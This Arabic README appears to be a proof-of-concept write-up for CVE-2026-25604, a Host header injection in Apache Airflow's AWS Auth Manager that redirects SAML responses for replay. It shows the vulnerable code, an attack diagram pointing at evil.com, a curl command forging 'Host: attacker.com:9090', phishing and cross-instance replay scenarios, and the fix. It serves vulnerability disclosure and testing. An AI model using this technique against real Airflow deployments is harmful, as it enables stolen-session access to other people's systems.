
PoC لإثبات CVE-2026-25604
حقن ترويسة المضيف (Host Header Injection) يؤدي إلى تجاوز مصادقة SAML في AWS Auth Manager الخاص بـ Apache Airflow
يمكن للمهاجم حقن ترويسة Host خبيثة في تدفق تسجيل الدخول عبر SAML، مما يجعل عنوان Assertion Consumer Service (ACS) يشير إلى خادم يتحكم فيه المهاجم. يتيح ذلك للمهاجم التقاط استجابات SAML صالحة وإعادة تشغيلها للحصول على وصول غير مصرح به إلى مثيل Airflow الخاص بالضحية — أو إعادة استخدام الرموز عبر مثيلات Airflow مختلفة ذات ضوابط وصول مختلفة.
| الحزمة | الإصدار المتأثر | الإصدار المُصلَح |
|---|---|---|
apache-airflow-providers-amazon | 8.0.0 – 9.21.x | 9.22.0 |
CVE-2026-25604: خطأ في التحقق من الأصل في AWS Auth Manager (CWE-346)
في AWS Auth Manager، تم استخدام أصل مصادقة SAML كما يوفره العميل دون التحقق منه مقابل عنوان URL الفعلي للمثيل. وقد سمح ذلك بالوصول إلى مثيلات مختلفة ربما تحتوي على ضوابط وصول مختلفة عن طريق إعادة استخدام استجابة SAML من مثيلات أخرى.
— NVD
| المصدر | الرابط |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-25604 |
| PR الإصلاح | https://github.com/apache/airflow/pull/61368 |
يستخدم AWS Auth Manager في Apache Airflow معيار SAML 2.0 عبر AWS IAM Identity Center للمصادقة. عند إنشاء طلب مصادقة SAML، تقرأ الدالة _prepare_flask_request() ترويسة Host مباشرةً من طلب HTTP الوارد لبناء عنوان URL الخاص بـ ACS callback:
# Vulnerable code in aws_auth_manager.py
def _prepare_flask_request(req):
host = req.headers.get("Host", req.host) # <-- Attacker-controlled
if ":" in host:
hostname, port = host.rsplit(":", 1)
else:
hostname = host
port = "443" if req.scheme == "https" else "80"
return {
"http_host": hostname, # Used to build ACS URL
"server_port": port,
...
}
يُستخدم http_host وserver_port الناتجان لبناء عنوان AssertionConsumerService الخاص بـ SAML. ولأن مزود الهوية (IdP) يثق في هذا العنوان، فإنه يعيد توجيه المستخدم المصادَق — إلى جانب استجابة SAML الموقعة — إلى أي مكان تشير إليه ترويسة Host.
┌──────────┐ ┌──────────────┐ ┌─────────────┐
│ Attacker │ │ Victim │ │ AWS IAM │
│ │ │ Airflow │ │ Identity │
│ │ │ Instance │ │ Center │
└────┬─────┘ └──────┬───────┘ └──────┬──────┘
│ │ │
│ 1. GET /login │ │
│ Host: evil.com:8080 │ │
│─────────────────────>│ │
│ │ │
│ │ 2. SAML AuthnRequest │
│ │ ACS URL = │
│ │ evil.com:8080/ │
│ │ login_callback │
│ │───────────────────────>│
│ │ │
│ │ 3. User authenticates │
│ │ at IdP login page │
│ │ │
│ 4. IdP redirects │ │
│ SAMLResponse to │<───────────────────────│
│ evil.com:8080 │ │
│<─────────────────────│ │
│ │ │
│ 5. Attacker captures │ │
│ valid SAMLResponse│ │
│ │ │
│ 6. Replay to victim │ │
│ POST /login_callback │
│ with captured │ │
│ SAMLResponse │ │
│─────────────────────>│ │
│ │ │
│ 7. Authenticated! │ │
│<─────────────────────│ │
└──────────────────────┴────────────────────────┘
السيناريو أ — سرقة الرموز عبر التصيد: يرسل المهاجم رابط تسجيل دخول مخصصًا (مع ترويسة Host مزوّرة عبر وكيل عكسي) إلى مستخدم شرعي. بعد مصادقة المستخدم عبر IAM Identity Center، تُعاد توجيه استجابة SAML إلى خادم المهاجم. يعيد المهاجم تشغيلها ضد مثيل Airflow الحقيقي.
السيناريو ب — إعادة استخدام الرموز عبر المثيلات: في بيئات Airflow متعددة المستأجرين أو متعددة المثيلات، يمكن إعادة استخدام استجابة SAML صالحة من المثيل "أ" ضد المثيل "ب". ولأن الأصل لا يُتحقق منه أبدًا مقابل عنوان URL الفعلي للمثيل، يتم تجاوز ضوابط الوصول المختلفة على المثيل "ب".
CVE-2026-25604-PoC/
├── README.md # This file
└── mock_airflow.py # Mock vulnerable Airflow server
pip install flask python3-saml
قم بإعداد تطبيق SAML 2.0 في AWS IAM Identity Center باتباع توثيق AWS Auth Manager الخاص بـ Airflow:
http://<airflow-host>:<port>/login_callbackaws-auth-manager-saml-clientpython mock_airflow.py <SAML_METADATA_URL> [PORT]
على سبيل المثال:
python mock_airflow.py https://portal.sso.us-east-1.amazonaws.com/saml/metadata/XXXX 8080
في طرفية منفصلة، ابدأ تسجيل دخول SAML مع ترويسة Host معدّلة:
curl -v -H "Host: attacker.com:9090" http://127.0.0.1:8080/login
يستجيب الخادم بإعادة توجيه 302 Redirect إلى صفحة تسجيل الدخول الخاصة بـ AWS IAM Identity Center. افحص طلب SAML AuthnRequest — سيشير عنوان AssertionConsumerService إلى attacker.com:9090/login_callback بدلاً من الخادم الشرعي.
على وحدة تحكم خادم Airflow الوهمي:
[LOGIN] Host header: attacker.com:9090
[DEBUG] http_host=attacker.com, server_port=9090
سيوجه طلب AuthnRequest الصادر عن SAML الآن مزود الهوية (IdP) إلى تسليم استجابة SAML المصادَق عليها إلى attacker.com:9090، مما يمنح المهاجم رمزًا صالحًا لإعادة تشغيله.
airflow/providers/amazon/aws/auth_manager/aws_auth_manager.py — الدالة _prepare_flask_request():
host = request.headers.get("Host", request.host)
يثق هذا السطر في ترويسة Host المقدمة من العميل دون التحقق منها مقابل عنوان Airflow الأساسي المُهيأ (AIRFLOW__API__BASE_URL).
يستبدل الإصلاح (PR #61368، الذي تم دمجه في 3 فبراير 2026) المضيف المشتق من الطلب بالقيمة المستخرجة من إعدادات Airflow:
- host = request.headers.get("Host", request.host)
+ host = conf.get("api", "base_url")
يضمن ذلك أن يتطابق عنوان ACS دائمًا مع عنوان URL الفعلي للمثيل الذي يهيئه المسؤول، بغض النظر عن ترويسة Host التي يرسلها العميل.
تم توفير إثبات المفهوم هذا لأغراض التعليم والاختبار الأمني المصرح به فقط. استخدمه بمسؤولية وفقط ضد الأنظمة التي تمتلكها أو لديك إذن صريح لاختبارها.
| Commit الإصلاح | 1a86aec |